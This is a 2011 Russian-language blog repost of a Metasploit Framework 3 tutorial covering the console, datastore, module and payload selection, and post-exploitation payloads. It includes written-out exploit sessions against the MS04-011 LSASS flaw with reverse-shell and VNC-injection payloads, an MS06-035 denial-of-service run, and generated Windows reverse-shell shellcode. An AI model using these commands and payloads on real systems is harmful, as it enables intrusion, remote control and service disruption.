суббота, 19 марта 2011 г.

Metasploit: mini manual

Небольшой мануальчик.

Цитата

Интерфейс консоли.
После установки Framework надо убедиться в том, что всё работает как надо. Самый простой способ сделать это - запустить msfconsole. Если ты используешь Windows, запусти MSFWEB и зайди на него через свой браузер. Консоль должна отобразить ASCII лого, написать версию, подсчитать модули и выбросить к самой командной строке. Для получения списка комманд напиши HELP. Сейчас ты находишься в "основном" режиме. Он позволяет посмотреть список эксплоитов, начинок и получить доступ к глобальным (общим) настройкам. Для получения листинга эксплоитов напиши SHOW EXPLOITS. Чтобы получить более подробную информацию об определенном эксплоите напиши INFO MODULE_NAME. Интерфейс консоли был сделан таким образом, чтобы быть гибким и быстрым. Если ты ввел комманду и она небыла распознана консолью, она (консоль) сама просканирует систему на наличие такой команды. Если она найдет совпадение, то комманда исполнится в соответствии с заданными аргументами (если ты используешь консоль через MSFWEB, то эта функция будет отключена по причинам безопасности). Это позволяет использовать стандартный набор инструментов не покидая консоль.

Интерфейс коммандной строки.
Если ты ищешь возможность автоматизировать процесс тестирования эксплоитов, или просто не хочешь использовать интерактивный интерфейс, MSFCLI - вот что тебе нужно. Этот интерфейс берет имя модуля как первый параметр и сопровождается опциями в формате VAR=VAL, и в конце код действия, для указания того, что должно быть сделано. Имя модуля используется для того, чтобы определить какой вспомогательный модуль ты хочешь запустить. Код действия - одна буква: S - для суммы (итога), O - для опций, A - для "продвинутых" опций, I - для обхода IDS, P - для начинок, T - для целей, AC - для вспомогательных действий, C - для проверки на уязвимость и E - для эксплоита. Сохраненный datastore будет загружен и использован при запуске, давая возможность настроить удобные настройки в глобальном или определенном модуле datastore в msfconsole, сохрани их, и воспользуйся ими в msfcli интерфейсе.

Веб-интерфейс.
MSFWEB интерфейс основывается на Ruby on Rails. Для использования этого интерфейса тебе нужны пакеты rubygems и соответствующие версии rails gem. После установки rubygems ты можешь получить rails для них используя соответствующую комманду (версия для Windows уже имеет встроенные как rubygems, так и rails для них).
$ gem install -v1.2.2 rails

После конфигурации rails, запусти msfweb чтобы "поднять" сервер. Msfweb интерфейс использует WEBrick вебсервер для осуществления запросов. По умолчанию, msfweb будет прослушивать адрес 127.0.0.1 на порту 55555. В появившемся лог-сообщении будет написано, что сервис запущен. Чтобы получить доступ к интерфейсу открой браузер на соответствующем URL (http://127.0.0.1:55555/ по умолчанию). Основной интерфейс MSFWEB состоит из панели, содержащий в себе разнообразные иконки и задний фон с изображением логотипа Metasploit. Если ты хочешь получить доступ к консоли, кликни на линк Console. Эта консоль почти идентична консоли msfconsole. Эксплоиты, Вспомогательные модули, Начинки и т.д. проведут тебя через процесс выбора модуля, настройки его и запуска. Как только эксплоит запущен создается сессия, ты можешь получить эти сессии по линку Sessions. Эти иконка будут открывать дополнительное окно на странице. Это окно может быть перемещено, свернуто, развернуто и закрыто.

[DataStore]
Глобальный DataStore.
Доступ к глобальному DataStore можно получить через комманды в консоли: setg и unsetg. Пример ниже показывает состояние глобального DataStore сразуже после инсталяции. Комманда SETG без аргументов выводит содержимое DataStore на этот момент. Настройки по умолчанию загружаются вместе с самим интерфейсом.
msf > setg


Global

===== 

No entries in datastore

DataStore модулей.
Доступ к этому DataStore можно получить через комманды set и unset. Этот DataStore относится только к толькочто загруженному модулю. Переключение между модулями через комманду use приведет к тому, что в DataStore модуля для этого модуля будет "засвоплена" (соединена чтоли) с DataStore нового модуля. Если ни один модуль не активен, комманды set и unset будут оперировать с глобальным DataStore. Переключение обратно к исходному модулю создаст новый DataStore для него. Для того чтобы сохранить информацию в глобальном DataStore или DataStore модуля нужно использовать комманду save.

Сохраненный DataStore.
Комманда save используется для синхронизации глобального и модульного DataStore на диск. Сохраненная окружающая среда записывается в HOME/.msf3/config и будет загружена когда какой-нибудь пользователь запустит интерфейс.

Эффективность DataStore.

Разделенная DataStore система позволяет сохранить время в процессе разработки эксплоитов и проверки на уязвимости. Основные настройки эксплоитов могут быть определены в глобальном DataStore один раз и они могут постоянно использоваться в любом эксплоите впреть. Пример, приведенный ниже, показывает как datastore модулей LPORT, LHOST и PAYLOAD могут быть использованы для сохранения времени во время взлома Windows системы. Если этот DataStore был установлен и Linux эксплоит был использован, DataStore модуля (через set и unset) может быть использован для отменения настроек по умолчанию.
msf > setg LHOST 192.168.0.10

LHOST => 192.168.0.10

msf > setg LPORT 4445

LPORT => 4445

msf > setg PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf > use windows/smb/ms04_011_lsass

msfexploit(ms04_011_lsass) > showoptions

Module options:

...

Payload options:
                 Name                  Current               Setting                Required    Description
           EXITFUNC                   thread                 yes     Exit technique:seh,thread,process  
              LHOST             192.168.0.10                 yes             The local adress  
              LPORT                   4445                 yes              The local port






Переменные DataStore.
DataStore может быть использована для конфигурирования многих аспектов Framework, от пользовательского интерфейса до определенных промежутков (таймаутов) в сетевом сокете API. Эта часть описывает основные переменные. Полный список переменных можно посмотреть в документации (Environment.txt в поддиректории Framework).

LogLevel.
Эта переменная используется для управления "многословными" (длинными) логами, вырабатываемыми компонентами Framework. Если эта переменная не определена, логирование отключается. Если параметр этой переменной "0", то логирование будет вестись сообщениями по умолчанию. Если параметр этой переменной "1", то логирование будет вестись более короткими сообщениями, что очень удобно при поиске сбоев и ошибок. Если параметр этой переменной "2", то логирование будет вестись в режиме "многословного" дебага (verbose debug logging). Если параметр - "3", то логирование будет вестись всеми возможными способами и может вырабатывать очень большие логи (советую использовать этот режим, только когда нужна дополнительная информация). Сами логи хранятся в поддиректории пользовательской конфигурации (/.msf3/logs).

Выбор модуля.
В интерфейсе MSFCONSOLE ты можешь видеть список модулей, которые доступны для использования. Также список всех модулей можно получить через комманду SHOW ALL. Ещё можно получить список модулей по определенному параметру с помощью команды SHOW MODULETYPE, где MODULETYPE один из эксплоитов, кодировщиков, начинок, параметров и т.д.. Выбрать модуль можно с помощью команды USE и указания имени модуля после комманды в виде аргумента. Получит информацию о модуле можно с помощью комманды INFO.

Модули Эксплоитов.
Эти модули фактически являются модулем для запуска эксплоитов.

Настройка Активных Эксплоитов.
Выбрав эксплоит с помощью комманды USE нужно определить какие настройки ему необходимы. Это может быть сделано с помощью комманды SHOW OPTIONS. Большинство эксплоитов используют RHOST для определения адреса цели и RPORT для определения порта адреса цели. Используй комманду SET для конфигурирования соответствующих значений переменных для всех необходимых настроек. Если тебе не понятно что делает определенный эксплоит, то всегда можно посмотреть его исходный код. Дополнительные настройки доступны к некоторым эксплоит модулям, они (настройки) могут быть просмотрены с помощью комманды SHOW ADVANCED. Настройки для обхода IDS и IPS могут быть просмотрены с помощью комманды SHOW EVASION.

Подтверждение настроек эксплоитов.
вспомогательных Комманда CHECK может быть использована для определения какая система подвержена той уязвимости, которую использует эксплоит. Это быстрый способ проверки того, все ли настройки введены правильно и подвержена ли цель этой атаке. Не все эксплоиты поддерживают функцию проверки. По многим причинам почти невозможно определить какой сервис подвержен атаке, а какой нет, без реального эксплойтинга (реального использования эксплоита) его. Комманда check никогда не приведет к "падению" системы и не сделает её недоступной. Большинство модулей пишут информацию о версии и надеются, что ты прочтешь и подумаешь, перед использованием.
Выбор цели.
Большинство эксплоитов требуют ввода переменной TARGET. Комманда SHOW TARGETS выведет список всех поддерживаемых эксплоитов целей. Многие эксплоиты по умолчанию стоят в режиме bruteforce, что не всегда подходит под ситуацию.

Выбор начинки.
Начинка - это определенный код, который исполнится после успешного взлома эксплоитом. Для получения списка всех начинок, доступных для данного эксплоита используй комманду SHOW PAYLOADS. Если ты пользуешься фаерволом, то, возможно, тебе понадобится начинка "bind shell". Если твоя цель пользуется фаерволом, а ты нет, то тебе поможет начинка "reverse connect". Для получения информации об определенной начинке нужно ввести комманду INFO PAYLOAD_NAME, где payload_name - название начинки. Когда ты выбрал начинку используй комманду SET чтобы выбрать названия модуля начинки как значение для переменной PAYLOAD. Для вывода настроек начинки используй комманду SHOW OPTIONS. Большинство начинок имеют хотябы одну обязательную опцию. Продвинутые настройки имеют большее количество опций. Чтобы просмотреть их введи комманду SHOW ADVANCED. Запомни, что ты можешь выбрать любую начинку, поддерживаемую выбранным эксплоитом, даже если она несовместима с заданной переменной TARGET. Например, если твоя цель - Linux система, а ты выбрал начинку для BSD, то ошибки о несовместимости не будет.

Запуск эксплоита.
Комманда EXPLOIT запустит атаку. Если всё пройдет хорошо, твоя начинка сработает и даст тебе шелл на взломанной системе.
Вспомогательные модули.
Measploit 3.0 поддерживает понятие вспомогательных модулей, которые могут быть использованы для выполнения произвольных одноразовых действий, таких как сканирование портов, DoS и fuzzing.
Запуск вспомогательный задач.
Вспомогательные модули похожи на эксплоит модули. Вместо целей, у них действия, которые назначаются через опцию ACTION. Для запуска вспомогательного модуля ты можешь воспользоваться как коммандой SET, так и коммандой exploit.
msf > use dos/windows/smb/ms06_035_mailslot

msfauxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4

RHOST => 1.2.3.4

msfauxiliary(ms06_035_mailslot) > run

[*]Mangling the kernel,two bytes at a time...


Модули Начинок.

Начинки запускают произвольный код (шеллкод), который исполняется в результате удачного взлома. Начинки обычно создают коммуникационный канал между Metasploit и жертвой.

Создание начинки.
Консольный интерфейс поддерживает генерацию разный видов начинок. Это новая функция в Metasploit 3.0. Для генерации начинки надо выбрать её вид:

msf > use windows/shell_reverse_tcp

msfpayload(shell_reverse_tcp) > generate-h

Usage: generate [options]

Generates a payload.

OPTIONS:


-b The list of characters to avoid: '\x00\xff'

-e The name of the encoder module to use.

-h Help banner.

-o A comma separated list of options in VAR=VAL format.

-s NOP sled length.

-t The output type: ruby, perl, c, orraw.

msfpayload(shell_reverse_tcp) >


Используя опции, поддерживаемые коммандой GENERATE, можно сгенерировать разные виды и формы начинок. Некоторые начинки нуждаются в опции, которая задается через параметр -o. Также, формат для передачи сгенерированной начинки может быть задан параметром -t:

msfpayload(shell_reverse_tcp) > set LHOST 1.2.3.4

LHOST => 1.2.3.4

msfpayload(shell_reverse_tcp) > generate-truby

# windows/shell_reverse_tcp - 287bytes

# http://www.metasploit.com

# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4

"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +

"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +

"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +

"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +

"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +

"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +

"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +

"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +

"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +

"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +

"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +

"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +

"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +

"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +

"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +

"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +

"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +

"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +

"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +

"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +

"\x04\x5f\x53\xff\xd6\xff\xd0"

msfpayload(shell_reverse_tcp) >



Nop модули.
NOP модули используются для генерирования безоперационных инструкций, который могут быть использованы для увеличения буфера.

Генерирование NOP Sled.
Интерфейс консоли NOP модуля позволяет генерировать NOP Sled произвольного размера и отображать его в формате, показанном ниже, используя комманду GENERATE.

msf > usex86/opty2

msfnop(opty2) > generate -h

Usage: generate [options] length

Generates a NOP sled of a given length.


OPTIONS:

-b The list of characters to avoid: '\x00\xff'

-h Help banner.

-s The comma separated list of registers to save.

-t The output type: ruby, perl, c, orraw.

msfnop(opty2) > 

Для генерирования 50 байт NOP Sled в стиле C буфера нужно ввести эту комманду: 

msfnop(opty2) > generate -t c 50

unsigned char buf[] = 

"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"

"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"

"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"

"\x92\xb5\xd4\x4f\x91";

msfnop(opty2) >


[Продвинутые возможности.]
Этот раздел посвящен расширенным функциям Metasploit Framework. Эти функции могут быть использованы с любым подходящим эксплоитом и являются основой разработки вредоносного (атакующего) кода.

Meterpreter.
Meterpreter - продвинутая мульти-функциональная начинка, которая может динамически дописываться во время выполнения. Это значит, что он даст начальный шелл и позволит добавить в себя новые функции по мере надобности.

Начинки PassiveX.
Metasploit Framework может быть использована для загрузки произвольного средства управления ActiveX. Эта функция патчит реестр системы цели и заставляет взломанный процесс запустить браузер с URL, который соединится с Framework. На компьютере жертвы запускается простой веб-сервер, который может принимать запросы и отправлять обратно вебстраницу, которая загружает компонент ActiveX. После этого взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX, который ты создашь. В дополнение к начальной начинке, три других PassiveX модуля прилагаются к Framework. Они могут быть использованы для исполнения шелл-комманд, загрузки Meterpreter или вставки VNC сервиса. Когда любая из этих трех начинок использованы, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом, VNC или Meterpreter, используя только стандартный HTTP трафик. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0).

Цепь прокси.
Framework включает в себя поддержку TCP прокси; для использования его с выбранным эксплоитом нужно указать переменную PROXIES. Это значение - разделенные запятой прокси-сервера, формат каждого из которых: type:host:port (тип:сам прокси:порт). Значения ТИП: "http" для HTTP CONNECT и "socks4" для SOCKS v4. Цепь прокси может быть любой длинны; тесты показали, что система работала стабильно через более чем пятьсот SOCKS и HTTP прокси, соединенных в цепь. Цепь прокси скрывает только сам факт взлома, но автоматическое соединение с начинкой осуществляется напрямую, т.е. не через прокси.

Начинка Win32 UploadExec.
Unix системы тоже включают в себя все инструменты, нужные для действий после взлома. Windows системы обделены нормальным набором комманд в коммандой строке. Начинки Windows/upexec/* позволяют одновременно взламывать Windows систему, загружать твой любимый инструмент и использовать его - всё это через сокет-соединение начинки. Если соединить эту начинку с самораспаковывающимся руткитом или интерпретатором какого-нибудь скриптового языка, она (начинка) может оказаться очень полезной. Начинки Meterpreter обычно намного лучше подходят для проверок на уязвимости.

Начинка Win32 DLL Injection.
Framework включает в себя организованную начинки, способную внедрить в память любую DLL в комбинации с любым Win32 эксплоитом. Эта начинка не записывает никаких файлов на диск; DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник действий после взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC.

Внедрение VNC сервера через DLL.
Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пробовать получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only (только чтение) режим. В этом режиме Framework может просматривать содержимое рабочего стола, но не изменять (и т.п.) его. Если полный доступ получен, то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилигированный пользователь, а взломанный сервис имеет привелегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe в любом случае. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Для использования начинки, внедряющей VNC, надо указать полный путь до VNC сервера в переменной DLL'ки. VNC сервер может быть найден в данных поддиректории Framework под названием vncdll.dll. Исходный код DLL'ки может быть найден в external/source/vncdll. Есть несколько ситуаций, когда VNC начинка не будет работать. Проблемы обычно возникают из-за странного выполнения переменных окружения или других вещей, специфичных для эксплоита или метода внедрения. Например:
Эксплоит windows/brightstor/universal_agent приведет VNC начинку к крэшу (выключению), возможно из-за множества разных странных состояний.
msf > usewindows/smb/ms04_011_lsass

msfexploit(ms04_011_lsass) > set RHOST some.vuln.host

RHOST => some.vuln.host

msfexploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp

PAYLOAD => windows/vncinject/reverse_tcp

msfexploit(ms04_011_lsass) > setLHOSTyour.own.ip

LHOST => your.own.ip

msfexploit(ms04_011_lsass) > set LPORT 4321

LPORT => 4321

msfexploit(ms04_011_lsass) > exploit


Если приложение VNCVIEWER в твоем распоряжении и опция AUTOVNC была установлена (она установлена по умолчанию), Framework автоматически откроет рабочий стол. Если же ты хочешь подключиться к рабочему столу вручную, SET AUTOVNC 0, потом используй VNCVIEWER для соединения с 127.0.0.1 (прим.) на порт 5900.

Цитата

источник http://www.inattack.ru/program/708.html, а там перепост Автор: n0ne. Взято где то с народа


ну в принципе для начала должно хватить))

Комментариев нет:

Отправить комментарий